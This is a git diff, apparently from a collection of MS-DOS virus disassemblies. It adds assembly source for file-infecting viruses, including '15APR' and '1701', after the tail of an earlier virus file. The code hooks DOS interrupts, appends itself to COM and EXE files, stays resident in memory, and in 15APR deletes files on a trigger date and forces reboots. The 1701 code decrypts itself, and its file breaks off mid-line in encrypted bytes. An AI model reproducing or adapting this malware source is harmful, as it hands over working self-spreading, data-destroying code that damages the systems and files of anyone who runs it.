ah=function 3Eh + ; close file, bx=file handle + retn +sub_3 endp + + db 0Eh, 8Ch, 0C8h, 5, 1, 0 + db 50h, 0B8h, 0, 1, 50h, 0CBh + +; +; SUBROUTINE +; + +sub_4 proc near + mov al,45h ; 'E' + mov byte ptr ds:[724h],al + mov al,8 + out 70h,al ; port 70h, RTC addr/enabl NMI + ; al = 8, month register + in al,71h ; port 71h, RTC clock/RAM data + mov data_34,al + mov dx,219h + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_13 ; Jump if carry=0 + retn +loc_13: + mov data_26,ax + mov dx,10Bh + mov bx,data_26 + mov cx,18h + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + mov ax,4202h + mov cx,0 + mov dx,0 + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + push ax + add ax,10h + adc dx,0 + and ax,0FFF0h + mov data_24,dx + mov data_25,ax + mov cx,727h + sub cx,100h + add ax,cx + adc dx,0 + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + inc ax + mov data_16,ax + mov data_15,dx + mov ax,data_21 + mov data_22,ax + mov ax,data_20 + mov data_23,ax + mov ax,data_18 + mov data_29,ax + mov ax,data_19 + mov data_30,ax + mov dx,data_24 + mov ax,data_25 + mov cx,10h + div cx ; ax,dx rem=dx:ax/reg + sub ax,10h + sub ax,data_17 + mov data_21,ax + mov data_18,ax + mov data_20,100h + mov data_19,100h + mov ax,4200h + xor cx,cx ; Zero register + mov dx,2 + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov dx,10Dh + mov bx,data_26 + mov cx,16h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov dx,100h + mov ax,data_25 + pop cx + sub ax,cx + sub dx,ax + mov cx,727h + add cx,ax + sub cx,100h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + retn +sub_4 endp + + db 51h, 0B9h, 0, 0, 0B4h, 4Eh + db 0CDh, 21h, 59h, 0C3h + +; +; SUBROUTINE +; + +sub_5 proc near + push es + mov ax,351Ch + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov cs:data_13,bx + mov cs:data_14,es + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + push es + pop ax + mov cs:data_12,ax + mov cs:data_11,bx + pop es + retn +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + push ax + push es + push ds + xor ax,ax ; Zero register + mov es,ax + mov si,86h + mov ax,es:[si] + mov ds,ax + mov si,725h + cmp word ptr [si],0A0Ch + jne loc_14 ; Jump if not equal + push ds + pop ax + call sub_13 ; (0611) + pop ds + pop es + pop ax + retn +loc_14: + push cs + pop ds + mov ax,data_31 + dec ax + mov es,ax + cmp byte ptr es:[0],5Ah ; 'Z' + je loc_15 ; Jump if equal + jmp short loc_16 ; (04B4) + db 90h +loc_15: + mov ax,es:data_9e + mov cx,737h + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + sub ax,cx + jc loc_16 ; Jump if carry Set + mov es:data_9e,ax + sub es:data_10e,cx + push cs + pop ds + mov ax,es:data_10e + push ax + pop es + mov si,100h + push si + pop di + mov cx,627h + cld ; Clear direction + repne movsb ; Rep while cx>0 Mov [si] to es:[di] + push es + sub ax,ax + mov es,ax + mov si,84h + mov dx,4A8h + mov es:[si],dx + inc si + inc si + pop ax + mov es:[si],ax +loc_16: + pop ds + pop es + pop ax + retn +sub_6 endp + + db 3Ch, 57h, 75h, 3, 0EBh, 1Eh + db 90h, 80h, 0FCh, 1Ah, 75h, 6 + db 0E8h, 17h, 1, 0EBh, 13h, 90h +loc_17: + cmp ah,11h + jne loc_18 ; Jump if not equal + call sub_7 ; (04E1) + iret ; Interrupt return +loc_18: + cmp ah,12h + jne loc_19 ; Jump if not equal + call sub_10 ; (059C) + iret ; Interrupt return +loc_19: + jmp dword ptr cs:data_11 + +; +; SUBROUTINE +; + +sub_7 proc near + mov al,57h ; 'W' + int 21h ; DOS Services ah=function 00h + ; terminate, cs=progm seg prefx + push ax + push cx + push dx + push bx + push bp + push si + push di + push ds + push es + push cs + pop ds + push cs + pop es + mov byte ptr cs:data_35,0 + nop + call sub_8 ; (0514) + jnz loc_20 ; Jump if not zero + call sub_2 ; (023D) + jz loc_20 ; Jump if zero + call sub_15 ; (065A) + dec byte ptr ds:data_6e +loc_20: + pop es + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + retn +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + push cs + pop es + push cs + pop es + cld ; Clear direction + call sub_9 ; (0552) + jnc loc_21 ; Jump if carry=0 + cmp di,0 + retn +loc_21: + mov di,219h + mov al,2Eh ; '.' + mov cx,0Bh + repne scasb ; Rept zf=0+cx>0 Scan es:[di] for al + cmp word ptr [di],4F43h + jne loc_22 ; Jump if not equal + cmp byte ptr [di+2],4Dh ; 'M' + jne loc_22 ; Jump if not equal + mov byte ptr ds:[724h],43h ; 'C' + nop + retn +loc_22: + cmp word ptr [di],5845h + jne loc_ret_23 ; Jump if not equal + cmp byte ptr [di+2],45h ; 'E' + jne loc_ret_23 ; Jump if not equal + mov byte ptr ds:[724h],45h ; 'E' + nop + +loc_ret_23: + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near +loc_24: + push ds + mov si,cs:data_27 + mov ax,cs:data_28 + mov ds,ax + mov di,219h + lodsb ; String [si] to al + cmp al,0FFh + jne loc_25 ; Jump if not equal + add si,6 + lodsb ; String [si] to al + jmp short loc_26 ; (0574) + db 90h +loc_25: + cmp al,5 + jb loc_26 ; Jump if below + pop ds + stc ; Set carry flag + retn +loc_26: + mov cx,0Bh + cmp al,0 + je locloop_27 ; Jump if equal + add al,40h ; '@' + stosb ; Store al to es:[di] + mov al,3Ah ; ':' + stosb ; Store al to es:[di] + +locloop_27: + lodsb ; String [si] to al + cmp al,20h ; ' ' + je loc_28 ; Jump if equal + stosb ; Store al to es:[di] + jmp short loc_29 ; (0594) + db 90h +loc_28: + cmp byte ptr es:[di-1],2Eh ; '.' + je loc_29 ; Jump if equal + mov al,2Eh ; '.' + stosb ; Store al to es:[di] +loc_29: + loop locloop_27 ; Loop if cx > 0 + + mov al,0 + stosb ; Store al to es:[di] + pop ds + clc ; Clear carry flag + retn +sub_9 endp + + +; +; SUBROUTINE +; + +sub_10 proc near + mov al,57h ; 'W' + int 21h ; DOS Services ah=function 00h + ; terminate, cs=progm seg prefx + push ax + push cx + push dx + push bx + push bp + push si + push di + push ds + push es + push cs + pop ds + push cs + pop es + cmp byte ptr cs:data_35,0 + je loc_30 ; Jump if equal + jmp short loc_31 ; (05D3) + db 90h +loc_30: + call sub_8 ; (0514) + jnz loc_31 ; Jump if not zero + call sub_2 ; (023D) + jz loc_31 ; Jump if zero + call sub_15 ; (065A) + dec byte ptr ds:data_6e + pop es + pop ds + pop di + pop si +data_35 db 5Dh + db 5Bh, 5Ah, 59h, 58h, 0C3h +loc_31: + pop es + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + retn +sub_10 endp + + db 0 + +; +; SUBROUTINE +; + +sub_11 proc near + push ax + push ds + pop ax + mov cs:data_28,ax + mov cs:data_27,dx + pop ax + retn +sub_11 endp + + +; +; SUBROUTINE +; + +sub_12 proc near + push cs + mov al,0 + out 20h,al ; port 20h, 8259-1 int command + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_3e,bx + mov bx,es + mov ds:data_2e,bx + pop es + mov si,20Ah + mov di,219h + mov cx,0Fh + +locloop_32: + lodsb ; String [si] to al + add al,20h ; ' ' + stosb ; Store al to es:[di] + loop locloop_32 ; Loop if cx > 0 + + retn +sub_12 endp + + +; +; SUBROUTINE +; + +sub_13 proc near + push ax + push cs + pop ds + push cs + pop es + mov bl,data_34 + cmp bl,0Ch + ja loc_34 ; Jump if above + cmp bl,0 + je loc_34 ; Jump if equal + mov al,8 + out 70h,al ; port 70h, RTC addr/enabl NMI + ; al = 8, month register + in al,71h ; port 71h, RTC clock/RAM data + cmp al,0Ch + ja loc_34 ; Jump if above + cmp al,0 + je loc_34 ; Jump if equal + cmp al,bl + je loc_34 ; Jump if equal + inc bl + call sub_14 ; (064F) + cmp al,bl + je loc_34 ; Jump if equal + inc bl + call sub_14 ; (064F) + cmp al,bl + je loc_34 ; Jump if equal + pop ds + call sub_16 ; (0686) + push cs + pop ds + retn + +; External Entry into Subroutine + +sub_14: + cmp bl,0Ch + jbe loc_ret_33 ; Jump if below or = + sub bl,0Ch + +loc_ret_33: + retn +loc_34: + pop ax + retn +sub_13 endp + + +; +; SUBROUTINE +; + +sub_15 proc near + mov dx,673h + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + cmp byte ptr ds:[724h],43h ; 'C' + jne loc_35 ; Jump if not equal + call sub_3 ; (02AE) + jmp short loc_36 ; (0672) + db 90h +loc_35: + call sub_4 ; (0337) +loc_36: + push ds +sub_15 endp + + +; +; +; External Entry Point +; +; + +int_24h_entry proc far + mov dx,data_33 + mov ax,data_32 + mov ds,ax + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop ds + retn +int_24h_entry endp + + db 0B0h, 3, 0CFh + +; +; SUBROUTINE +; + +sub_16 proc near + mov dx,6B0h + mov ax,251Ch + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov byte ptr ds:data_8e,90h + nop + mov ax,0B800h + mov es,ax +data_36 db 0BFh +data_37 dw 0FA0h + db 0B8h, 20h, 7, 0B9h, 0Bh, 0 + db 0F2h, 0ABh, 0Eh, 7, 0C3h, 0 + db 0, 0, 20h, 7, 0Fh + db 0Ah +data_38 db 0Fh + db 0Ah +data_39 db 0Fh + db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh + db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0F7h + db 0Eh, 0EEh, 0Ch, 90h, 0FBh, 50h + db 51h, 52h, 53h, 55h, 56h, 57h + db 1Eh, 6, 0Eh, 1Fh, 0EBh, 0Bh + db 90h +loc_37: + pop es + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + iret ; Interrupt return +sub_16 endp + + db 0B8h, 0, 0B8h, 8Eh, 0C0h, 0E8h + db 2Bh, 0, 0BEh, 9Ah, 6, 0B9h + db 16h, 0, 0F2h, 0A4h, 80h, 3Eh + db 0AEh, 6, 0EEh, 74h, 8, 0C6h + db 6, 0AEh, 6, 0EEh, 0EBh, 6 + db 90h +loc_38: + mov data_38,0F0h +loc_39: + mov ax,es:[di] + mov ah,0Eh + mov data_37,ax + mov data_36,0 + jmp short loc_37 ; (06D0) + +; +; SUBROUTINE +; + +sub_17 proc near + mov di,0 +loc_40: + mov si,69Ch + push di + mov cx,12h + cld ; Clear direction + repe cmpsb ; Rept zf=1+cx>0 Cmp [si] to es:[di] + pop di + jz loc_41 ; Jump if zero + inc di + inc di + cmp di,0FA0h + jne loc_40 ; Jump if not equal + mov di,0 +loc_41: + cmp di,0F9Eh + jne loc_ret_42 ; Jump if not equal + mov data_39,0CFh + +loc_ret_42: + retn +sub_17 endp + + db 43h, 0Ch, 0Ah + +seg_a ends + + + + end start diff --git a/0-9/15APR.ASM b/0-9/15APR.ASM new file mode 100755 index 0000000..79ec33c --- /dev/null +++ b/0-9/15APR.ASM @@ -0,0 +1,679 @@ + +PAGE 60,132 + +; +; +; 15APR +; +; Created: 4-Mar-91 +; +; + +data_1e equ 4Ch ; (0000:004C=31h) +data_2e equ 4Eh ; (0000:004E=70h) +data_3e equ 84h ; (0000:0084=0E3h) +data_4e equ 86h ; (0000:0086=161Ah) +data_5e equ 90h ; (0000:0090=8Eh) +data_6e equ 92h ; (0000:0092=1498h) +data_7e equ 102h ; (0000:0102=0CC00h) +data_8e equ 106h ; (0000:0106=326h) +data_9e equ 47Bh ; (0000:047B=0) +data_10e equ 0 ; (0326:0000=6A7h) +data_11e equ 2 ; (0326:0002=70h) +data_12e equ 0 ; (0691:0000=0C9h) +data_13e equ 1 ; (0692:0001=0D217h) +data_14e equ 2 ; (06E3:0002=2342h) +data_15e equ 6 ; (06E3:0006=2344h) +data_32e equ 0FC99h ; (701E:FC99=0) +data_33e equ 0FC9Bh ; (701E:FC9B=0) +data_34e equ 0FCB7h ; (701E:FCB7=0) +data_35e equ 0FCB9h ; (701E:FCB9=0) +data_36e equ 0FCBBh ; (701E:FCBB=0) +data_37e equ 0FCC5h ; (701E:FCC5=0) +data_38e equ 0FCC7h ; (701E:FCC7=0) +data_39e equ 0FCCDh ; (701E:FCCD=0) +data_40e equ 0FCCFh ; (701E:FCCF=0) + +code_seg_a segment + assume cs:code_seg_a, ds:code_seg_a + + + org 100h + +b15apr proc far + +start: +data_16 dw 63E9h +data_17 dw 0C303h + db 23 dup (0C3h) + db 2Ah, 2Eh, 45h, 58h, 45h, 0 +data_19 dw 0C3C3h +data_20 dw 0C3C3h +data_21 dw 0 +data_22 dw 0 +data_23 dw 0 +data_24 dw 0 +data_25 dw 0 +data_26 dd 00000h +data_27 dw 0 +data_28 dw 0 +data_29 dd 00000h +data_30 dw 0 +data_31 dw 0 + db 0Ah, 0Dh, 0Ah, 0Dh, ' Bhaktivedan' + db 'ta Swami Prabhupada (1896-1977)', 0Ah + db 0Dh, 0Ah, 0Dh, '$=MKu', 9, 'U' + db 8Bh, 0ECh, 83h, 66h, 6, 0FEh + db 5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h + db 12h, 3Dh, 0, 3Dh, 74h, 0Dh + db 3Dh, 0, 6Ch, 75h, 5, 80h + db 0FBh, 0, 74h, 3 +loc_1: + jmp loc_15 +loc_2: + push es + push ds + push di + push si + push bp + push dx + push cx + push bx + push ax + call sub_6 + call sub_7 + cmp ax,6C00h + jne loc_3 ; Jump if not equal + mov dx,si +loc_3: + mov cx,80h + mov si,dx + +locloop_4: + inc si + mov al,[si] + or al,al ; Zero ? + loopnz locloop_4 ; Loop if zf=0, cx>0 + + sub si,2 + cmp word ptr [si],4D4Fh + je loc_7 ; Jump if equal + cmp word ptr [si],4558h + je loc_6 ; Jump if equal +loc_5: + jmp short loc_14 + db 90h +loc_6: + cmp word ptr [si-4],4E41h + je loc_8 ; Jump if equal + cmp word ptr [si-4],444Ch + je loc_8 ; Jump if equal + cmp word ptr [si-4],4A52h + je loc_8 ; Jump if equal + jnz loc_9 ; Jump if not zero +loc_7: + cmp word ptr [si-4],444Eh + je loc_5 ; Jump if equal + jnz loc_10 ; Jump if not zero +loc_8: + int 19h ; Bootstrap loader +loc_9: + jz loc_10 ; Jump if zero +loc_10: + mov ax,3D02h + call sub_5 + jc loc_14 ; Jump if carry Set + mov bx,ax + mov ax,5700h + call sub_5 + mov cs:data_22,cx ; (701E:0127=0) + mov cs:data_23,dx ; (701E:0129=0) + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + push cs + pop ds + mov dx,103h + mov si,dx + mov cx,18h + mov ah,3Fh ; '?' + call sub_5 + jc loc_12 ; Jump if carry Set + cmp word ptr [si],5A4Dh + jne loc_11 ; Jump if not equal + call sub_1 + jmp short loc_12 +loc_11: + call sub_4 +loc_12: + jc loc_13 ; Jump if carry Set + mov ax,5701h + mov cx,cs:data_22 ; (701E:0127=0) + mov dx,cs:data_23 ; (701E:0129=0) + call sub_5 +loc_13: + mov ah,3Eh ; '>' + call sub_5 +loc_14: + call sub_7 + pop ax + pop bx + pop cx + pop dx + pop bp + pop si + pop di + pop ds + pop es +loc_15: + jmp cs:data_26 ; (701E:012F=0) + +b15apr endp + +; +; SUBROUTINE +; + +sub_1 proc near + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dx=mon/day + cmp dh,4 + je loc_16 ; Jump if equal + jnz loc_17 ; Jump if not zero +loc_16: + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dx=mon/day + cmp dl,0Fh + je loc_18 ; Jump if equal + jnz loc_17 ; Jump if not zero +loc_17: + mov cx,[si+16h] + add cx,[si+8] + mov ax,10h + mul cx ; dx:ax = reg * ax + add ax,[si+14h] + adc dx,0 + push dx + push ax + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + cmp dx,0 + jne loc_19 ; Jump if not equal + cmp ax,4E2h + jae loc_19 ; Jump if above or = + pop ax + pop dx + stc ; Set carry flag + ret +loc_18: + mov dx,10h + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + mov dx,11Bh + mov cx,110Bh + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + mov dx,2Eh + mov ax,3D02h + int 15h ; General services, ah=func 3Dh + mov ah,41h ; 'A' + int 21h ; DOS Services ah=function 41h + ; delete file, name @ ds:dx + jmp loc_25 + db 0BAh, 3Fh, 1, 0B4h, 9, 0CDh + db 21h, 0EBh, 1, 90h +loc_19: + mov di,ax + mov bp,dx + pop cx + sub ax,cx + pop cx + sbb dx,cx + cmp word ptr [si+0Ch],0 + je loc_ret_22 ; Jump if equal + cmp dx,0 + jne loc_20 ; Jump if not equal + cmp ax,4E2h + jne loc_20 ; Jump if not equal + stc ; Set carry flag + ret +loc_20: + mov dx,bp + mov ax,di + push dx + push ax + add ax,4E2h + adc dx,0 + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + les di,dword ptr [si+2] ; Load 32 bit ptr + mov cs:data_24,di ; (701E:012B=0) + mov cs:data_25,es ; (701E:012D=0) + mov [si+2],dx + cmp dx,0 + je loc_21 ; Jump if equal + inc ax +loc_21: + mov [si+4],ax + pop ax + pop dx + call sub_2 + sub ax,[si+8] + les di,dword ptr [si+14h] ; Load 32 bit ptr + mov data_19,di ; (701E:0121=0C3C3h) + mov data_20,es ; (701E:0123=0C3C3h) + mov [si+14h],dx + mov [si+16h],ax + mov word ptr data_21,ax ; (701E:0125=0) + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + call sub_3 + jc loc_ret_22 ; Jump if carry Set + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + mov ah,40h ; '@' + mov dx,si + mov cx,18h + call sub_5 + +loc_ret_22: + ret + +; External Entry into Subroutine + +sub_2: + mov cx,4 + mov di,ax + and di,0Fh + +locloop_23: + shr dx,1 ; Shift w/zeros fill + rcr ax,1 ; Rotate thru carry + loop locloop_23 ; Loop if cx > 0 + + mov dx,di + ret + +; External Entry into Subroutine + +sub_3: + mov ah,40h ; '@' + mov cx,4E2h + mov dx,100h + call sub_6 + jmp short loc_29 + db 90h + +; External Entry into Subroutine + +sub_4: + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dx=mon/day + cmp al,6 + je loc_24 ; Jump if equal + jnz loc_25 ; Jump if not zero +loc_24: + mov dx,10h + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + mov dx,11Bh + mov cx,110Bh + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + mov dx,2Eh + mov ax,3D02h + int 15h ; General services, ah=func 3Dh + mov ah,41h ; 'A' + int 21h ; DOS Services ah=function 41h + ; delete file, name @ ds:dx + jmp short loc_25 + db 90h +loc_25: + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + cmp ax,4E2h + jb loc_ret_28 ; Jump if below + cmp ax,0FA00h + jae loc_ret_28 ; Jump if above or = + push ax + cmp byte ptr [si],0E9h + jne loc_26 ; Jump if not equal + sub ax,4E5h + cmp ax,[si+1] + jne loc_26 ; Jump if not equal + pop ax + stc ; Set carry flag + ret +loc_26: + call sub_3 + jnc loc_27 ; Jump if carry=0 + pop ax + ret +loc_27: + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + pop ax + sub ax,3 + mov dx,121h + mov si,dx + mov byte ptr cs:[si],0E9h + mov cs:[si+1],ax + mov ah,40h ; '@' + mov cx,3 + call sub_5 + +loc_ret_28: + ret +sub_1 endp + + +; +; SUBROUTINE +; + +sub_5 proc near +loc_29: + pushf ; Push flags + call cs:data_26 ; (701E:012F=0) + ret +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + push ax + push ds + push es + xor ax,ax ; Zero register + push ax + pop ds + cli ; Disable interrupts + les ax,dword ptr ds:data_5e ; (0000:0090=18Eh) Load 32 bit ptr + mov cs:data_27,ax ; (701E:0133=0) + mov cs:data_28,es ; (701E:0135=0) + mov ax,44Eh + mov ds:data_5e,ax ; (0000:0090=18Eh) + mov ds:data_6e,cs ; (0000:0092=1498h) + les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr + mov cs:data_30,ax ; (701E:013B=0) + mov cs:data_31,es ; (701E:013D=0) + les ax,cs:data_29 ; (701E:0137=0) Load 32 bit ptr + mov ds:data_1e,ax ; (0000:004C=831h) + mov ds:data_2e,es ; (0000:004E=70h) + sti ; Enable interrupts + pop es + pop ds + pop ax + ret +sub_6 endp + + +; +; SUBROUTINE +; + +sub_7 proc near + push ax + push ds + push es + xor ax,ax ; Zero register + push ax + pop ds + cli ; Disable interrupts + les ax,dword ptr cs:data_27 ; (701E:0133=0) Load 32 bit ptr + mov ds:data_5e,ax ; (0000:0090=18Eh) + mov ds:data_6e,es ; (0000:0092=1498h) + les ax,dword ptr cs:data_30 ; (701E:013B=0) Load 32 bit ptr + mov ds:data_1e,ax ; (0000:004C=831h) + mov ds:data_2e,es ; (0000:004E=70h) + sti ; Enable interrupts + pop es + pop ds + pop ax + ret +sub_7 endp + + db 0B0h, 3, 0CFh + +; +; SUBROUTINE +; + +sub_8 proc near + mov dx,10h + mul dx ; dx:ax = reg * ax + ret +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near + xor ax,ax ; Zero register + xor bx,bx ; Zero register + xor cx,cx ; Zero register + xor dx,dx ; Zero register + xor si,si ; Zero register + xor di,di ; Zero register + xor bp,bp ; Zero register + ret +sub_9 endp + + db 1Eh, 0E8h, 0, 0 + +; +; SUBROUTINE +; + +sub_10 proc near + mov ax,4B4Dh + nop + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx + jc loc_30 ; Jump if carry Set + jmp loc_40 +loc_30: + pop si + push si + nop + mov di,si + xor ax,ax ; Zero register + push ax + pop ds + les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr + mov cs:data_39e[si],ax ; (701E:FCCD=0) + mov cs:data_40e[si],es ; (701E:FCCF=0) + les bx,dword ptr ds:data_3e ; (0000:0084=6E3h) Load 32 bit ptr + mov cs:data_37e[di],bx ; (701E:FCC5=0) + mov cs:data_38e[di],es ; (701E:FCC7=0) + mov ax,ds:data_7e ; (0000:0102=0CC00h) + cmp ax,0F000h + jne loc_38 ; Jump if not equal + mov dl,80h + mov ax,ds:data_8e ; (0000:0106=326h) + cmp ax,0F000h + je loc_31 ; Jump if equal + cmp ah,0C8h + jb loc_38 ; Jump if below + cmp ah,0F4h + jae loc_38 ; Jump if above or = + test al,7Fh + jnz loc_38 ; Jump if not zero + mov ds,ax + cmp word ptr ds:data_10e,0AA55h ; (0326:0000=6A7h) + jne loc_38 ; Jump if not equal + mov dl,ds:data_11e ; (0326:0002=70h) +loc_31: + mov ds,ax + xor dh,dh ; Zero register + mov cl,9 + shl dx,cl ; Shift w/zeros fill + mov cx,dx + xor si,si ; Zero register + +locloop_32: + lodsw ; String [si] to ax + cmp ax,0FA80h + jne loc_33 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,7380h + je loc_34 ; Jump if equal + jnz loc_35 ; Jump if not zero +loc_33: + cmp ax,0C2F6h + jne loc_36 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,7580h + jne loc_35 ; Jump if not equal +loc_34: + inc si + lodsw ; String [si] to ax + cmp ax,40CDh + je loc_37 ; Jump if equal + sub si,3 +loc_35: + dec si + dec si +loc_36: + dec si + loop locloop_32 ; Loop if cx > 0 + + jmp short loc_38 +loc_37: + sub si,7 + mov cs:data_39e[di],si ; (701E:FCCD=0) + mov cs:data_40e[di],ds ; (701E:FCCF=0) +loc_38: + mov ah,62h ; 'b' + int 21h ; DOS Services ah=function 62h + ; get progrm seg prefix addr bx + mov es,bx + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov bx,0FFFFh + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + sub bx,50h + nop + jc loc_40 ; Jump if carry Set + mov cx,es + stc ; Set carry flag + adc cx,bx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov bx,4Fh + stc ; Set carry flag + sbb es:data_14e,bx ; (06E3:0002=2342h) + push es + mov es,cx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:data_13e,8 ; (0692:0001=0D217h) + call sub_8 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call sub_8 + add ax,ds:data_15e ; (06E3:0006=2344h) + adc dx,0 + sub ax,bx + sbb dx,cx + jc loc_39 ; Jump if carry Set + sub ds:data_15e,ax ; (06E3:0006=2344h) +loc_39: + mov si,di + xor di,di ; Zero register + push cs + pop ds + sub si,36Ah + mov cx,4E2h + inc cx + rep movsb ; Rep while cx>0 Mov [si] to es:[di] + mov ah,62h ; 'b' + int 21h ; DOS Services ah=function 62h + ; get progrm seg prefix addr bx + dec bx + mov ds,bx + mov byte ptr ds:data_12e,5Ah ; (0691:0000=0C9h) 'Z' + mov dx,173h + xor ax,ax ; Zero register + push ax + pop ds + mov ax,es + sub ax,10h + mov es,ax + cli ; Disable interrupts + mov ds:data_3e,dx ; (0000:0084=6E3h) + mov ds:data_4e,es ; (0000:0086=161Ah) + sti ; Enable interrupts + dec byte ptr ds:data_9e ; (0000:047B=0) +loc_40: + pop si + cmp word ptr cs:data_32e[si],5A4Dh ; (701E:FC99=0) + jne loc_41 ; Jump if not equal + pop ds + mov ax,cs:data_36e[si] ; (701E:FCBB=0) + mov bx,cs:data_35e[si] ; (701E:FCB9=0) + push cs + pop cx + sub cx,ax + add cx,bx + push cx + push word ptr cs:data_34e[si] ; (701E:FCB7=0) + push ds + pop es + call sub_9 + ret ; Return far +loc_41: + pop ax + mov ax,cs:data_32e[si] ; (701E:FC99=0) + mov cs:data_16,ax ; (701E:0100=63E9h) + mov ax,cs:data_33e[si] ; (701E:FC9B=0) + mov cs:data_17,ax ; (701E:0102=0C303h) + mov ax,100h + push ax + push cs + pop ds + push ds + pop es + call sub_9 + ret +sub_10 endp + + +code_seg_a ends + + + + end start diff --git a/0-9/1701 (3).ASM b/0-9/1701 (3).ASM new file mode 100755 index 0000000..922e594 --- /dev/null +++ b/0-9/1701 (3).ASM @@ -0,0 +1,427 @@ + +PAGE 59,132 + +; +; +; 1701 +; +; Created: 11-Feb-92 +; Passes: 5 Analysis Options on: none +; +; + +data_31e equ 27D1h ;* +data_36e equ 4CD6h ;* +data_39e equ 6950h ;* +data_45e equ 8848h ;* +data_50e equ 0BDF1h ;* +data_53e equ 0CBC7h ;* +data_55e equ 0EA36h ;* +data_58e equ 49F2h +data_59e equ 0B0E0h +data_60e equ 0BCF1h +data_61e equ 0EAEFh + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +1701 proc far + +start: + jmp loc_2 + db 39 dup (0) +data_22 db 0 ; Data table (indexed access) + db 58 dup (0) +loc_2: + cli ; Disable interrupts + mov bp,sp + call sub_1 + +1701 endp + +; +; SUBROUTINE +; + +sub_1 proc near + pop bx + sub bx,131h + test cs:data_22[bx],1 + jz $+11h ; Jump if zero + lea si,[bx+14Dh] ; Load effective addr + mov sp,682h +loc_4: + xor [si],si + xor [si],sp + inc si + dec sp + jnz loc_4 ; Jump if not zero + db 8Eh,0EBh,0E5h,0BDh, 62h,0F6h + db 0F7h, 06h,0EFh,0EEh,0EEh, 2Fh + db 0C2h,0E6h,0E6h,0E2h,0B1h, 11h + db 0EEh, 02h, 6Ch,0F8h, 36h,0EAh + db 3Bh,0DCh,0E0h,0C3h,0C2h,0C6h + db 0E6h,0C2h + +locloop_5: + mov si,dx + push es + db 0F1h, 60h,0D4h,0ABh, 69h, 96h + db 0EEh,0EEh,0E2h, 0Bh, 06h,0DBh + db 0E2h + db 0E2h,0EEh,0EEh,0F2h,0FAh,0F6h + db 0F6h +loc_7: + db 0F2h,0F2h, 7Ah, 87h, 61h +loc_9: + test ah,[di-80h] + add byte ptr [bp+si-7171h],0F6h + jc loc_9 ; Jump if carry Set + div dl ; al, ah rem = ax/reg + db 0F2h,0EEh,0EEh,0E2h,0E3h, 1Bh + db 16h,0C2h + db 0C2h,0CEh + db 0CEh, 1Ah,0F2h,0F6h,0ADh, 73h + db 19h, 6Dh,0CFh,0ECh, 4Eh, 49h + db 